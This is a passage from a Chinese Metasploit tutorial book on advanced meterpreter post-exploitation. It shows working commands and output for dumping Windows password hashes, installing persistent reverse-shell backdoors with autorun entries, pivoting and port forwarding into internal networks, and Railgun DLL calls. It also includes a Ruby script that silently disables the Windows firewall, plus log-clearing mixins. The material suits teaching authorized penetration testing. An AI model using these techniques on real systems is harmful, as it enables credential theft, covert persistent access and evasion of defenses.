本章讲解下述内容:
● Passing the hash;
● 使用后门建立持久连接;
● 使用meterpreter进行拓展;
● 使用meterpreter进行端口转发;
● Meterpreter API与mixins;
● Railgun—将Ruby转换为武器;
● 向Railgun中添加DLL与函数定义;
● 构建“Windows防火墙反激活”meterpreter脚本;
● 分析现有的meterpreter脚本。
在上章中,我们学习了一些功能强大的meterpreter命令。它提供了一种交互性很强的、有用的命令解释器,为后渗透阶段工作提供了极大的便利。进一步讲,不仅仅使执行任务变得更加容易,同时也使其功能更强大、更全面。
在本章中,我们将介绍 meterpreter 的一些高级功能。到目前为止,我们使用的只是Metasploit提供的命令和脚本,但在渗透测试过程中,有时需要在meterpreter中添加脚本。由于Metasploit采用的是模块式的框架结构,因此很容易开发和整合脚本。
首先学习一些高级的meterpreter功能,例如 passing the hash、拓展、端口转发等。然后介绍怎样开发meterpreter脚本。为更好地理解本章的内容,读者需要了解基本的Ruby概念,这样有助于构建更好的 meterpreter 脚本。为便于阅读,首先介绍一些基本的开发概念,然后分析一些现有的Ruby代码,其次学习怎样对其进行重用,或根据需要对其进行编辑修改,最后介绍怎样开发“Windows防火墙反激活”meterpreter脚本。
通过对本章内容的学习将增强读者对Metasploit平台的认识和理解,下面开始对本章内容的学习。
Passing the hash或 hashdump系指在Windows登录 hash文件的提取过程。Hashdump meterpreter脚本可以从目标机器中提取口令hash值,破解hash文件可获取登录口令,从而以授权用户身份登录局域网内的其他系统。
准备
首先了解Windows口令及其存储格式。
在Windows登录界面中输入口令后,Windows操作系统会使用预定义的加密机制对其进行加密,将其转换为类似于如下的格式。
7524248b4d2c9a9eadd3b435c51404ee
上面这一段字符串就是一个口令hash值,用户输入登录口令时,操作系统会将输入口令加密成上述格式,并与存储在注册表和/或SAM文件中的正确口令进行比对。
SAM文件保存着本地机器上的每个账号(如果是域控制器,则为域内的每个账号)的用户名和口令hash值,该文件存储在%systemroot%system32config。
然而,当机器处于运行状态时,该文件对包括管理员在内的所有账号实行锁定,唯一可对 SAM 文件进行访问的是“系统级”账号,因此,要获取口令 hash 值,需要进行权限升级。
对用户而言,加密格式存储的口令hash值是完全不可读的。Windows利用NTLM安全协议提供认证支持,NTLM是继早期Windows使用的LM协议的后继协议。
要解码获取的口令hash值,需要使用NTLM/LM解密程序。目前有多种不同的工具具备这一功能,其中一些使用的是暴力猜解技术(例如 John the riper、pwdump等工具),还有一些使用彩虹列表(rainbow crack)。
怎样实现
从活跃的 meterpreter 会话开始,假定已经成功实现对目标的攻击渗透,并获取了meterpreter会话。可参考第4章以了解更多有关攻陷Windows机器的细节。Hashdump脚本的使用很简单和方便。首先检查在目标机器上的权限。前面曾提到,要提取口令hash文件,必须具备系统级权限。使用getuid命令获知当前权限级别,使用getsystem命令,升级权限。
meterpreter > getuid
Server username: DARKLORD-PC\DARKLORD
meterpreter > getsystem
...got system (via technique 4).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
怎样工作
现在已经具备目标机器上的系统级权限,下面尝试使用hashdump脚本。
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY
78e1241e98c23002bc85fd94c146309d...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59 d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::
DARKLORD:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204b eb12283678:::
从结果可以看到,该脚本已经从 SAM 文件中成功提取了口令 hash 值。接下来可使用不同的工具来破解该 hash值,通常使用的工具包括 John the riper、rainbow crack等。
更多
下面看一下解密口令hash值的其他方法。
在线口令解密
网站 http://www.md5decrypter.co.uk/,可提供对NTLM/LM hash值的在线解密。其工作机理是,将用户提交的口令hash值与其庞大的预定义hash值数据库进行匹配。这是一种破解简单口令快速而有效的技术。下图展示了使用上述网站对口令 hash 值进行在线破解的结果。
从结果可以看到,提交的口令hash值,已经找到相应的匹配项,可读格式口令是123。
需要注意的是,这种口令破解技术完全依赖于口令自身的强度,简单口令破解要比复杂口令容易得多,因为在线数据库中不包含复杂口令生成的hash值。所以,可以考虑使用基于彩虹列表的口令破解器,下面的网址提供了更多关于该话题的信息。
http://bernardodamele.blogspot.in/#!http://bernardodamele.blogspot.com/2 011/12/dump-windows-password-hashes.html.
本书从前渗透阶段技术开始讲解,主要关注的是信息收集技术,然后介绍渗透阶段使用的攻击目标机器的不同技术,之后是一些有用的在攻陷目标后使用的后渗透阶段技术。现在要介绍的是更深入的渗透技术,通过这种技术可与目标机器建立持久连接,以便后续工作中根据需要进行连接。对攻击者而言,目标机器不总是在线和可用的,因此,在目标机器上设置后门以建立持久连接是必要的和有效的。
准备
Meterpreter提供了两个在目标机器上设置后门的脚本,分别是Metsvc和Persistence。这两个脚本的工作方式是类似的,下面逐一进行介绍。
这两个脚本都需要在目标系统上创建文件从而引发防病毒软件告警,建议运行这些脚本之前关闭防病毒软件程序。
怎样实现
Metsvc 脚本是通过在目标机器上创建临时文件进行工作的,例如 DLL、后门服务器及服务等,该脚本还会启动一个配套的多道处理程序自动回连到后门,-A 参数即可用于实现此功能。下面以在Windows 7目标机器上运行该脚本为示例,并对其运行结果进行分析。
meterpreter > run metsvc -h
OPTIONS:
-A Automatically start a matching multi/handler to connect to the service
-h his help menu
-r Uninstall an existing Meterpreter service (files must be deleted manually)
meterpreter > run metsvc –A
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\DARKLORD\AppData\Local\Temp\ygLFhIFX...
[*] >> Uploading metsrv.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
后门程序成功上传后,会自动回连到 31337 端口的多道处理程序,可以根据人们的意愿轻松连接到目标机器。
Persistence脚本是另一个有用的后门脚本,其工作方式与Metsvc类似,但具备一些额外的功能,例如定期回连、系统启动时回连、自动运行等。下面看一下该脚本提供的不同选项。
meterpreter > run persistence –h
Meterpreter Script for creating a persistent backdoor on a target host
OPTIONS:
-A Automatically start a matching multi/handler to..
-L <opt> Location in target host where to write payload to..
-P <opt> Payload to use, default is
-S Automatically start the agent on boot as a service
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection
-p <opt> The port on the remote host where Metasploit..
-r <opt> The IP of the system running Metasploit listening..
从结果可以看到,该脚本提供了一些Metsvc脚本没有的选项。下面执行该脚本,并根据需要传递不同的参数。
meterpreter > run persistence -A -S -U -i 60 -p 4321 –r 192.168.56.101
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/
DARKLORD-PC_20111227.0307/DARKLORD-PC_20111227.0307.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.101
LPORT=4321
[*] Persistent agent script is 610795 bytes long
[+] Persistent Script written to C:\Users\DARKLORD\AppData\Local\Temp\
LHGtjzB.vbs
[*] Starting connection handler at port 4321 for windows/meterpreter/
reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\Users\DARKLORD\AppData\Local\Temp\LHGtjzB.vbs
[+] Agent executed with PID 5712
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\DBDalcOoYlqJSi
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\DBDalcOoYlqJSi
[*] Installing as service..
[*] Creating service cpvPbOfXj
怎样工作
注意该脚本传递的不同参数,其中,-A 参数用于在攻击方机器上自动启动监听程序,-S参数表示将后门程序设置为Windows系统启动时加载,-U参数表示将后门程序设置为用户登录系统时自动执行,-i 参数用于设置后门程序回连到代理处理程序的时间间隔,-p参数是端口号,-r参数是目标机器的IP地址。脚本执行后的输出中也包含了一些有用的信息。该脚本创建了使用后将后门清除的资源文件,在目标机器的temp 文件夹下创建了vbs文件,此外,该脚本还在注册表中创建了一个条目,以便在Windows系统每次启动时自动加载后门程序。
将后门程序回连到代理处理程序的时间间隔设置为60秒,成功执行该脚本后,可以看到每隔60秒,目标机器将自动打开meterpreter会话。
本节介绍了怎样与目标机器建立持久连接,读者可以在不同的场景下尝试使用这两个脚本,并对其工作过程进行分析。在下节中,我们将关注另一个有趣的拓展概念。
到目前为止,我们已介绍了主要的 meterpreter 命令和脚本,读者也已经认识到,在后渗透阶段,meterpreter功能的强大。首先了解拓展的内涵和必要性,然后介绍Metasploit框架怎样用于拓展。
准备
首先对拓展进行详细解读。拓展是指渗透测试人员利用已攻陷系统对同一网段内其他系统进行攻击的方法,这是一种多层次攻击,通过这种攻击,可以访问某些原本只用于内部使用的网络区域(例如intranet),如下图所示的场景。
攻击者可以先攻陷目标网络中连接到Internet的外部节点,这些节点连接到防火墙,防火墙后面是受保护的主要服务器。攻击者不能直接访问服务器,但可以使用这些外部节点作为媒介来访问服务器。如果攻击者成功地攻陷外部节点,就可以对网络进行进一步地渗透,并到达内部服务器。这就是一个典型的拓展场景。上图中的红色线条展示的就是攻击者和服务器之间通过已攻陷节点建立的拓展的路径。本节讨论拓展示例时,会用到前面章节中学到的一些meterpreter网络命令。
怎样实现
下面看一下怎样使用meterpreter实现上述讨论的场景。
在本示例中,目标节点是联网的Windows 7机器,服务器运行在Windows 2003机器上。假定已经使用客户端浏览器漏洞攻陷Windows 7机器,并与其建立了活跃的meterpreter连接。下面在目标节点上运行ipconfig命令,看其上有哪些可用的接口。
meterpreter > ipconfig
Interface 1
Hardware MAC: 00:00:00:00:00:00
IP Address: 10.0.2.15
Netmask : 255.255.255.0
VirtualBox Host-Only Ethernet Adapter
Hardware MAC: 08:00:27:00:8c:6c
IP Address : 192.168.56.1
Netmask : 255.255.255.0
从结果可以看到,目标节点有两个网络接口,一个是192.168.56.1,用于连接Internet;另一个是 10.0.2.15,用于连接到内部网络。接下来查看本地网络内还有哪些其他系统,可使用meterpreter脚本中的arp_scanner,该脚本可对内部网络进行ARP扫描以发现其他可用系统。
meterpreter > run arp_scanner -r 10.0.2.1/24
[*] ARP Scanning 10.0.2.1/24
[*] IP: 10.0.2.7 MAC 8:26:18:41:fb:33
[*] IP: 10.0.2.9 MAC 41:41:41:41:41:41
从结果可以看到,该脚本已经成功发现了该网段内两个可用的IP地址,下面对第一个IP地址进行拓展。
怎样工作
要访问IP地址为10.0.2.7的内部服务器,必须经由IP地址为10.0.2.15的目标节点进行数据包路由,为此可以使用route命令,前面章节中业已涉及该命令的使用。要使用该命令,需要先在当前meterpreter会话下执行background命令。
meterpreter > background
msf exploit(handler) > route add 10.0.2.15 255.255.255.0 1
[*] Route added
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.0.2.15 255.255.255.0 Session 1
观察route命令中的参数,其中,add参数用于向路由表中添加相关内容,之后是目标节点和默认网关的 IP地址,最后是活跃meterpreter会话 ID(当前是1)。使用 route print命令得到路由表,可以清晰地看到,经由本网络发送的所有流量都是由活跃meterpreter session 1实现的。
接下来对IP地址10.0.2.7进行端口扫描,该地址之前是不可达的,但现在通过目标节点进行路由即可实现。扫描后可以判断该服务器上的开放端口和服务,确定其为 Windows 2003 服务器后,可以使用exploit/windows/smb/ms08_067_netapi 漏洞利用代码或其他基于操作系统的漏洞利用代码攻陷该服务器,或访问其提供的服务。
脱离端口转发而单独讨论拓展是不完整的。本节将延续并扩展上一节的主题,介绍怎样利用端口转发技术将数据和请求从攻击方机器,再经由目标节点转发到内部网络服务器。这里需要注意的重点是,可以利用端口转发技术访问内部服务器上的各种服务,但如果需要对其进行攻击渗透,则需要综合运用前面章节中讲到的各种技术。
准备
从上节讲述的场景开始,已经攻陷了Windows 7目标节点,并且添加了路由信息,将网络上发送的所有数据包都通过meterpreter会话进行传送。下面看一下路由表。
msf exploit(handler) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.0.2.15 255.255.255.0 Session 1
从结果可以看到,路由表中已经设置了端口转发规则,可以将数据包转发到内部服务器。
怎样实现
假设内部服务器在80端口运行着web服务,现在需要利用端口转发技术对其进行访问,为此需要使用portfwd命令。下面先看一下该命令有哪些可用选项,之后传递相关值。
meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L <opt> The local host to listen on (optional).
-h Help banner.
-l <opt> The local port to listen on.
-p <opt> The remote port to connect to.
-r <opt> The remote host to connect to.
meterpreter > portfwd add -l 4321 -p 80 -r 10.0.2.7
[*] Local TCP relay created: 0.0.0.0:4321 <-> 10.0.2.7:80
成功执行该命令后,在攻击方机器和内部服务器之间将建立起TCP中转通道,攻击方机器上的监听端口为4321,要访问的服务将占用内部服务器上的80端口。
设置好路由表之后,整个端口转发过程对攻击者而言是透明的。例如,如果需要通过浏览器访问内部服务器,可以在地址栏中输入 http://10.0.2.7:80,之后将直接到达内部网络上的intranet服务。
在需要运行Metasploit未提供的命令和应用程序时,可利用端口转发技术,利用该技术可以更轻松地完成任务。
上面给出的是端口转发的一个小示例,在下节中,我们将介绍通过Ruby程序设计开发meterpreter脚本。
怎样工作
端口转发过程涉及一个简单概念,即从不安全的位置或网络提供受限服务,这主要利用认证过的或可靠的系统/软件在不安全网络和安全网络之间建立通信媒介。在第1章中讨论在虚拟机上建立 Metasploit 并使用 PuTTY 与主机操作系统建立连接时,已经涉及这一概念。
上图以一个简单示例展示了端口转发的过程。外部机器试图访问运行在 6667 端口的IRC服务器,但防火墙在配置上阻止外部机器对6667端口的访问(图中的红线),为此,外部机器连接到运行在22端口的SSH服务器(例如使用PuTTY)。如果防火墙不阻止这一连接,外部机器藉此绕过了防火墙,并可以利用22 端口到6667 端口的端口转发实现对IRC服务器的访问,从而建立一条端口转发访问隧道(图中的蓝线)。
在上章中,我们广泛地学习了怎样将meterpreter当做后渗透阶段工具进行使用。meterpreter让渗透任务变得更快更容易。从本节开始,我们将更进一步讨论一些与 meterpreter 相关的高级概念。深入到Metasploit的核心,理解meterpreter脚本的工作机理及怎样构建meterpreter脚本。
从渗透测试人员的角度来看,根据实际需要构建脚本是非常重要的,例如需要执行某些任务,但 meterpreter 本身尚不足以完成,在这种情况下,如果渗透测试人员能根据需要开发自己的脚本和模块,就可以轻松完成任务。在本节中,我们将讨论meterpreter API及其中一些重要的mixins,后面的章节会讲解怎样编写自己的meterpreter脚本。
准备
在渗透测试过程中开发自己的脚本时,meterpreter API 发挥着重要作用。由于整个Metasploit框架是采用Ruby语言编写构建的,掌握Ruby程序设计可以更好地体验使用Metasploit进行渗透测试的过程。后面的章节中会涉及Ruby脚本的内容,因此需要读者具备一定的Ruby程序设计知识。即便只具备Ruby或其他脚本语言的基本知识,也有助于增加对某些概念的理解。
下载示例代码 读者可以使用http://www.packtpub.com上的账号下载已购买的所有Packt书籍的示例代码,如果本书是在其他地方购买的,可以访问http://www.packtpub.com/support页面进行注册,以电子邮件方式接收示例代码文件。
怎样实现
首先在meterpreter中启动交互式的Ruby shell,假设已成功渗透Windows 7目标机器并建立活跃的meterpreter会话。
可以使用 irb命令启动Ruby shell。
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
现在已经处于Ruby shell环境下,可以执行Ruby脚本,下面尝试简单的两个数求和的操作。
>> 2+2
=> 4
从上述执行情况可以看出,当前的Ruby shell工作状态正常,可以对Ruby语句进行正确解释。现在执行复杂操作,创建hash表,并在其中存储值和相应键,然后根据条件删除相应值,脚本类似于如下形式。
x = { "a" => 100, "b" => 20 }
x.delete_if { |key, value| value < 25 }
print x.inspect
该脚本简单,易于理解。第一行表示创建了key(a和b),并为其赋值,第二行表示添加了操作条件,即删除那些值小于25的hash。
接下来介绍一些用于打印操作的API调用,这些API在编写meterpreter脚本时发挥重要作用。
print_line("message"):该API调用将打印输出相关内容,并在最后添加一个回车换行。
print_status("message"):该API调用在脚本语言中使用非常频繁,执行后将回车换行,并打印出当前执行内容的状态(以[*]为引导)。
>> print_status("HackingAlert")
[*] HackingAlert
=> nil
print_good("message"):该API调用用于显示任意操作的结果,显示内容以[+]为前缀,表明操作是成功的。
>> print_good("HackingAlert")
[+] HackingAlert
=> nil
print_error("message"):该API调用用于显示脚本执行出错时的错误消息,并以[-]为前缀。
>> print_error("HackingAlert")
[-] HackingAlert
=> nil
之所以讨论这些不同的打印API调用,是因为这些API调用广泛应用于编写meterpreter脚本的各种情况中。与 meterpreter API 相关的文档资料,可以在/opt/framework3/msf3/documentation目录中找到,建议阅读这些文档,以便对API有详细的理解。/opt/framework3/ msf3/lib/rex/post/meterpreter目录中则包含了很多与meterpreter API相关的脚本。
这些脚本中包含了各种有关 meterpreter 核心、桌面交互、特权操作和更多的命令。查阅这些脚本,有助于更熟练地掌握meterpreter在已攻陷目标机器内的操作过程。
Meterpreter mixins
Meterpreter mixins是Metasploit中特定的 irb调用。这些调用在 irb中不可用,但在编写meterpreter脚本时可用于完成最常见的任务,从而简化特定meterpreter脚本的编写任务。下面介绍一些有用的mixins。
cmd_exec(cmd):以隐藏和信道化的形式执行命令,命令输出以多行字符串形式展示。
eventlog_clear(evt = ""):清除给定的事件日志,如果没有给定则清除所有事件日志,并返回被清除事件日志列表。
eventlog_list():列举事件日志并返回事件日志名称列表。
file_local_write(file2wrt, data2wrt):将给定字符串写入指定文件。
is_admin?():判定用户是否为管理员,如果是管理员返回true,否则返回false。
is_uac_enabled?():判断系统中用户账号控制(UAC)机制是否激活。
registry_createkey(key):创建指定的注册表键,成功则返回true。
registry_deleteval(key,valname):根据给定的键和值名称删除注册表值,成功则返回true。
registry_delkey(key):删除给定的注册表键,成功则返回true。
registry_enumkeys(key):根据给定注册表键枚举其子键,并返回子键列表。
registry_enumvals(key):枚举给定注册表键的值,并返回值名称列表。
registry_getvaldata(key,valname):返回给定注册表键的数据及其值。
service_create(name, display_name, executable_on_host,startup=2):该函数用于创建运行自己程序的服务,其参数包括字符串形式的服务名称、字符串形式的显示名称、字符串形式的可执行程序(主机启动时执行)路径,以及整数形式的启动类型。其中,2表示自动启动,3表示手工启动,4表示禁用。
service_delete(name):该函数用于删除某个服务(通过在注册表中删除对应键实现)。
service_info(name):用于获取Windows服务信息,信息以hash形式返回,其中包含显示名称、启动模式及该服务执行的命令等内容。服务名称区分大小,Hash键分别为Name、Start、Command和Credentials。
service_list():列出当前所有Windows服务,返回包含服务名称的列表。
service_start(name):该函数用于服务启动,如果服务成功启动则返回0,如果服务已经启动则返回1,如果服务已禁用则返回2。
service_stop(name):该函数用于终止服务,终止成功则返回0,服务已终止或禁用则返回1,服务无法终止则返回2。
以上对一些重要的meterpreter mixins进行了简要介绍,使用这些mixins可以降低编写脚本的复杂性。今后讲到创建和分析meterpreter脚本时,将会对其使用有更多的理解。
怎样工作
Meterpreter API创建了mini版的Ruby解释器,可以理解并解释Ruby指令。使用API的主要优势在于它为执行某些操作提供了便利,毕竟不能使用命令完成所有操作,有时候需要使用特定脚本完成相应任务,此时使用API会给完成任务带来很大的便利。
在前面内容中,介绍了如何使用meterpreter API运行Ruby脚本,现在更进一步,假定需要对目标机器进行远程 API 调用,最简单的方法是什么?答案是 Railgun。Railgun 是meterpreter扩展,允许攻击者直接调用DLL函数。一般情况下,Railgun用于调用Windows API,但实际上也可以在目标机器上调用任意的DLL。
准备
要使用Railgun,需要目标机器上有活跃的meterpreter会话。要启动Ruby解释器,可以按前面讲过的方法使用irb命令。
meterpreter>irb
>>
怎样实现
在实际调用DLL之前,首先来了解一下需要哪些关键步骤,以便更好地利用Railgun。
(1)识别要调用的函数。
(2)在http://msdn.microsoft.com/en-us/library/aa383749(v=vs.85).aspx处定位该函数。
(3)确定该函数处在哪个DLL内(例如kernel32.dll)。
(4)以 client.railgun.dll_name.function_name(arg1, arg2, ...)的形式调用选定的库函数。
Windows MSDN库用于识别目标机器上具有哪些有用的 DLL和函数,下面看一下对shell32.dll 中IsUserAnAdmin函数的调用情况并分析其输出结果。
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>false}
从结果可以看到,该函数返回 false,表明该用户不是管理员。我们对其进行提权,并再次进行调用。
meterpreter > getsystem
...got system (via technique 4).
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.railgun.shell32.IsUserAnAdmin
=> {"GetLastError"=>0, "return"=>true}
本次调用返回true,表明提权操作已成功,目前是以系统管理员权限进行操作。Railgun使得用户易于执行那些未以模块形式展示的任务,从而不再仅局限于Metasploit框架提供的那些脚本和模块。事实上,可以根据需求进行调用。
还可以将该调用扩展为Ruby脚本,并带有错误检查功能。
print_status "Running the IsUserAnAdmin function"
status = client.railgun.shell32.IsUserAnAdmin()
if status['return'] == true then
print_status 'You are an administrator'
else
print_error 'You are not an administrator'
end
Railgun给用户带来了功能强大而又激动人心的体验,用户可以使用自己的调用和脚本分析输出。同时,如果要调用的DLL或函数不在Railgun定义范围内,用户还可以向其中加入自己的函数和DLL,下一节中将会讲述这些内容。
怎样工作
Railgun是一个特殊的Ruby命令解释器,可用于对已攻陷目标机器进行远程DLL调用。远程DLL调用是渗透测试中的重要组成部分,测试人员可在已攻陷目标机器上以系统级权限执行任意任意系统指令。
更多
Railgun是一款可以增强渗透测试工作的工具,下面来看一下更多关于Railgun的信息。
Railgun定义与文档
Railgun当前支持10种不同的Windows API DLL,可以在pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def文件夹中找到其定义。
此外,可以在/opt/framework3/msf3/external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun_manual.pdf中阅读Railgun文档。
前面内容主要讲述了通过Railgun调用Windows API DLL,本节将介绍怎样向Railgun中添加用户自己的DLL和函数定义,为此,需要对Windows DLL有一些理解。Railgun手册有助于读者快速理解不同的Windows常量,同时对添加函数定义也有所帮助。
怎样实现
向Railgun中添加DLL定义是一项容易的任务。假设需要添加一个Windows系统自带但在 Railgun 中尚未定义的 DLL,可以在 pentest/exploits/framework3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def 目录下创建一个定义,并将其命名为def_dllname.rb。
(1)要向Railgun中添加shell32.dll定义,首先添加如下一些代码行。
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Railgun
module Def
class Def_shell32
def self.create_dll(dll_path = 'shell32')
dll = DLL.new(dll_path, ApiConstants.manager)
......
end
end
end; end; end; end; end; end; end
(2)将上述代码保存为def_shell32.dll,从而为shell32.dll创建Railgun定义。
(3)向该DLL定义中添加函数。如果在Metasploit中查看def_shell32.dll脚本,会发现IsUserAnAdmin函数已经添加到其中了。
dll.add_function('IsUserAnAdmin', 'BOOL', [])
该函数根据实际情况返回布尔值True或False。类似地,用户可以在shell32.dll中添加自己的函数定义,例如添加OleFlushClipboard()函数,该函数的功能是清空Windows剪切板中的任意数据。
(4)向shell32.dll定义中添加如下代码。
dll.add_function('OleFlushClipboard' , 'BOOL' , [])
怎样工作
要对该函数进行测试,保存该文件,回到meterpreter会话检查该函数执行成功与否。
>> client.railgun.shell32.OleFlushClipboard
=> {"GetLastError"=>0, "return"=>true}
另一种方案是,使用add_dll和add_function直接向Railgun中添加DLL和函数。下面是一个完整的脚本,用于检测shell32.dll和OleFlushClipboard的可用性,如果不存在,则使用add_dll和add_function进行添加。
if client.railgun.get_dll('shell32') == nil
print_status "Adding Shell32.dll"
client.railgun.add_dll('shell32','C:\\WINDOWS\\system32\\shell32. dll')
else
print_status "Shell32 already loaded.. skipping"
end
if client.railgun.shell32.functions['OleFlushClipboard'] == nil
print_status "Adding the Flush Clipboard function"
client.railgun.add_function('shell32', 'OleFlushClipboard', 'BOOL', [])
else
print_status "OleFlushClipboard already loaded.. skipping"
end
上面是根据需要调用Windows API的一个简单示例,从中可以领略到Railgun的强大功能。MSDN库中包括有各种有用的 Windows API调用,可将其添加到 Railgun中,增强Metasploit框架的功能,也可以用于调用目标机器上的任意DLL。下一节中将介绍开发自己的meterpreter脚本。
6.9 构建“Windows防火墙反激活”meterpreter脚本
在前面的内容中我们已介绍和使用了一些meterpreter脚本,例如killav.rb与persistence.rb等,接下来我们开始讨论怎样构建自己的meterpreter脚本。Ruby在编写Metasploit中的任何模块发挥重要作用,所以读者应对Ruby有基本的理解。直接与meterpreter脚本设计相关的文档并不多,最简单也是最好的实践方法是学习Ruby语言,同时查阅各种学习可用模块的代码。也可以阅读Metasploit开发人员指南,以便理解该框架中的各种不同的库,这些知识有助于编写自己的模块,上述文档可参考如下链接 http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide。
本节要开发的脚本是 Windows Vista/7 防火墙反激活器脚本,该脚本将使用 netsh 等Windows命令,meterpreter将使用名为cmd_exec()的mixin在目标机器上执行命令。
准备
Meterpreter 运行在被攻陷客户端进程的上下文内,用户可以只关注需要通过脚本执行的任务,而不必担心连通性和其他参数设置问题。下面来看一下编写 meterpreter 脚本时需要记住的一些原则。
避免使用全局变量:这一原则在任何框架内进行编码时都必须遵循。应该避免使用全局变量,防止对框架变量造成干扰。一般只使用实例、本地变量或常量。
使用注释:编写代码时使用注释很重要,有助于明确每部分代码所负责执行的功能。
包含参数:在前面的章节中,我们已经多次看到运行脚本时会传递相应参数。编写脚本时,最基本且有用的是-h参数或help选项。
打印结果:打印出操作的结果可以证实脚本的执行是否成功,各种不同的打印API,例如print_status、print_error等,可以展示各种不同的相关信息。
平台确认:确认脚本需要在什么平台上执行具体操作。
遵循文件约定:完成脚本编写后,将其保存在/pentest/exploits/framework3/scripts/ meterpreter目录中,遵循框架中的文件约定有助于避免冲突。
使用mixins:Mixins是meterpreter中的重要概念,使用mixins会使编写的脚本更简单、更容易。
编写meterpreter脚本时,应该记住以上这些原则。
下面,打开任意的文本编辑器,开始编写Ruby脚本,如果在BackTrack平台工作,可以使用其中的Gedit文本编辑器。
怎样实现
(1)在文本编辑器中键入如下代码行,在对其进行解释之前,读者可以对其进行认真阅读,并尝试推断每行代码的作用和意图。
# Author: Abhinav Singh
# Windows Firewall De-Activator
#Option/parameter Parsing
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for disabling the Default windows Firelwall"
print_line "Let's hope it works"
print_line(opts.usage)
raise Rex::Script::Completed
end
}
# OS validation and command execution
unsupported if client.platform !~ /win32|win64/i
end
begin
print_status("disabling the default firewall")
cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5)
上述代码输入完毕后,将其命名为 myscript.rb 并保存到/pentest/exploits/framework3/scripts/meterpreter目录中。
(2)要执行该脚本,需要具备meterpreter会话。Ruby脚本可以使用run命令运行,不过在运行前,要确认具备目标机器的系统级权限。
meterpreter > getsystem
...got system (via technique 4).
meterpreter > run myscript.rb
[*] disabling the default firewall
meterpreter >
成功执行该脚本将禁用默认防火墙,执行的命令将在后台进行,因此不被目标用户所知。接下来我们对该脚本进行详细的分析和理解。
怎样工作
下面对该脚本的每一部分进行详细分析。
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-h"
print_line "Meterpreter Script for disabling the Default Windows Firewall"
print_line "Let's hope it works"
print_line(opts.usage)
raise Rex::Script::Completed
end
}
上述代码行的作用是定义该脚本运行时的一些附加选项。本脚本中,唯一可用的选项是-h 参数,其作用是显示脚本用法消息。读者可以将这段脚本保存下来,以便在其他脚本中需要定义选项时使用。接下来你会发现,有几个代码段都可以直接备用。
该脚本首先创建了hash(即opts),该hash包含Rex库(Ruby扩展库的简写),唯一的键是-h,设置使用方法的值为 false,表明本选项是该脚本的一个可选参数。接下来的几行代码表明对脚本提供的选项进行匹配,并跳转到使用print_line()显示消息的特定情况。本示例中使用的选项只有-h。
unsupported if client.platform !~ /win32|win64/i
begin
print_status("disabling the default firewall")
cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5)
end
上面的这部分脚本表示的是一些特定的操作。首先确认客户端的操作系统类型,然后使用meterpreter mixin,即 cmd_exec(),其作用是以隐蔽和信道化的形式执行命令,这里需要执行的命令是 netsh advfirewall set AllProfiles state off。该mixin在客户端机器上的命令行提示符上下文中调用这一命令,成功执行后将禁用Windows防火墙。
读者可以尝试在该脚本中增加更多功能,并尝试各种可能性,实践越多学到的就越多。
上面的内容中简单介绍了怎样构建 meterpreter 脚本。在下节中,我们将学习一个更高级的meterpreter脚本,并对其进行详细分析。
更多...
下面讨论一下代码重用,这有助于更快更高效地开展渗透测试。
代码重用
代码重用是一种有助于构建自己脚本的有效技术。在Metasploit框架中,实际上已经包含有很多现成的函数,例如创建多处理程序、实现参数检查、添加攻击载荷等,用户可以在自己的脚本代码中直接使用这些函数并利用其功能。记住,学习 meterpreter 脚本设计的最好途径就是查阅内置的脚本。
在前面的内容中我们学习了怎样构建自己的脚本,现在来分析一个执行某些高级任务的现有脚本。完全具备对现有脚本的阅读和理解能力之后,可以根据自身需要对其中函数进行实现和使用。代码重用是一种提高代码优化的有效技术。
怎样实现
要查阅现有脚本,首先进入pentest/exploits/framework3/scripts/meterpreter目录。
在该文件夹下可以发现所有可用的meterpreter脚本,首先对persistence.rb脚本进行简要分析,该脚本主要用于在目标机器上设置后门。前面已经讨论过该脚本的使用,这里将深入理解该脚本的内部工作机理。
怎样工作
下面逐一分析该脚本的各个部分。
# Default parameters for payload
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
delay = 5
install = false
autoconn = false
serv = false
altexe = nil
target_dir = nil
payload_type = "windows/meterpreter/reverse_tcp"
script = nil
script_on_target = nil
